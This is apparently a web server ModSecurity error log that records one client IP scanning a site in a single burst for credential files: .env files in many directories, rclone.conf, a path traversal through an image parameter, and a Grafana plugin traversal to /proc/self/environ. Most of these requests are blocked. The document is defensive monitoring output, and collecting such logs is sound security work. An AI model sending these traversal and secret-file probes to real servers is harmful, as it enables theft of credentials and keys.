[Sun Oct 25 14:43:04.841595 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at5NuHgFQMGvpHXnWRNuvwAAAB8"]
[Sun Oct 25 14:43:04.841625 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/_image"] [unique_id "at5NuMAxLusXGhv5UJnA5wAAABE"]
[Sun Oct 25 14:43:04.841667 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/_image"] [unique_id "at5NuMAxLusXGhv5UJnA5wAAABE"]
[Sun Oct 25 14:43:04.842078 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at5NuHgFQMGvpHXnWRNuvwAAAB8"]
[Sun Oct 25 14:43:04.842323 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/_image"] [unique_id "at5NuMAxLusXGhv5UJnA5wAAABE"]
[Sun Oct 25 14:43:04.826720 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at5NuN6BoG8GuVESjJgBdwAAACU"]
[Sun Oct 25 14:43:04.842653 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/_image"] [unique_id "at5NuMAxLusXGhv5UJnA5wAAABE"]
[Sun Oct 25 14:43:04.842742 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at5NuN6BoG8GuVESjJgBdwAAACU"]
[Sun Oct 25 14:43:04.843057 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at5NuN6BoG8GuVESjJgBdwAAACU"]
[Sun Oct 25 14:43:04.874012 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.118.177.189:60852] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at5NuDnLqNfi2M7PPfhIxwAAABo"]
[Sun Oct 25 14:43:04.874287 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.118.177.189:60852] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at5NuDnLqNfi2M7PPfhIxwAAABo"]
[Sun Oct 25 14:43:04.874646 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.118.177.189:60852] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at5NuDnLqNfi2M7PPfhIxwAAABo"]
[Sun Oct 25 14:43:04.893662 2026] [security2:error] [pid 2880769:tid 2880769] [client 34.118.177.189:60884] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /workspace/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at5NuHNQSJj6g_R4pvfwowAAABI"]
[Sun Oct 25 14:43:04.893951 2026] [security2:error] [pid 2880769:tid 2880769] [client 34.118.177.189:60884] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at5NuHNQSJj6g_R4pvfwowAAABI"]
[Sun Oct 25 14:43:04.894203 2026] [security2:error] [pid 2880769:tid 2880769] [client 34.118.177.189:60884] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at5NuHNQSJj6g_R4pvfwowAAABI"]
[Sun Oct 25 14:43:04.903985 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /scripts/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at5NuG-zzrnLViXtlwWgdwAAABg"]
[Sun Oct 25 14:43:04.904184 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at5NuG-zzrnLViXtlwWgdwAAABg"]
[Sun Oct 25 14:43:04.904402 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at5NuG-zzrnLViXtlwWgdwAAABg"]
[Sun Oct 25 14:43:04.990612 2026] [security2:error] [pid 2880769:tid 2880769] [client 34.118.177.189:60884] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /client/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at5NuHNQSJj6g_R4pvfwpAAAABI"]
[Sun Oct 25 14:43:04.990867 2026] [security2:error] [pid 2880769:tid 2880769] [client 34.118.177.189:60884] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at5NuHNQSJj6g_R4pvfwpAAAABI"]
[Sun Oct 25 14:43:04.991141 2026] [security2:error] [pid 2880769:tid 2880769] [client 34.118.177.189:60884] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at5NuHNQSJj6g_R4pvfwpAAAABI"]
[Sun Oct 25 14:43:04.992199 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.118.177.189:60852] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agents/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at5NuDnLqNfi2M7PPfhIyAAAABo"]
[Sun Oct 25 14:43:04.992334 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.118.177.189:60852] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at5NuDnLqNfi2M7PPfhIyAAAABo"]
[Sun Oct 25 14:43:04.992554 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.118.177.189:60852] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at5NuDnLqNfi2M7PPfhIyAAAABo"]
[Sun Oct 25 14:43:05.011520 2026] [core:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60864] AH10244: invalid URI path (/public/plugins/grafana-clock-panel/../../../../../../../../proc/self/environ)
[Sun Oct 25 14:43:05.013043 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /packages/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at5NuRNl8ZOaBiavdxV-mwAAACc"]
[Sun Oct 25 14:43:05.013219 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at5NuRNl8ZOaBiavdxV-mwAAACc"]
[Sun Oct 25 14:43:05.013431 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at5NuRNl8ZOaBiavdxV-mwAAACc"]
[Sun Oct 25 14:43:05.136952 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /infra/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at5NuQl_YuTmdn3pCPOXmAAAAAk"]
[Sun Oct 25 14:43:05.137173 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at5NuQl_YuTmdn3pCPOXmAAAAAk"]
[Sun Oct 25 14:43:05.137515 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at5NuQl_YuTmdn3pCPOXmAAAAAk"]
[Sun Oct 25 14:43:05.175189 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /project/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at5NuQl_YuTmdn3pCPOXmQAAAAk"]
[Sun Oct 25 14:43:05.175394 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at5NuQl_YuTmdn3pCPOXmQAAAAk"]
[Sun Oct 25 14:43:05.175638 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at5NuQl_YuTmdn3pCPOXmQAAAAk"]
[Sun Oct 25 14:43:05.180596 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60910] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /services/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at5NuXgFQMGvpHXnWRNuwAAAAB8"]
[Sun Oct 25 14:43:05.180752 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at5NuXgFQMGvpHXnWRNuwAAAAB8"]
[Sun Oct 25 14:43:05.180976 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at5NuXgFQMGvpHXnWRNuwAAAAB8"]
[Sun Oct 25 14:43:05.182127 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at5NucAxLusXGhv5UJnA6AAAABE"]
[Sun Oct 25 14:43:05.182293 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at5NucAxLusXGhv5UJnA6AAAABE"]
[Sun Oct 25 14:43:05.182540 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at5NucAxLusXGhv5UJnA6AAAABE"]
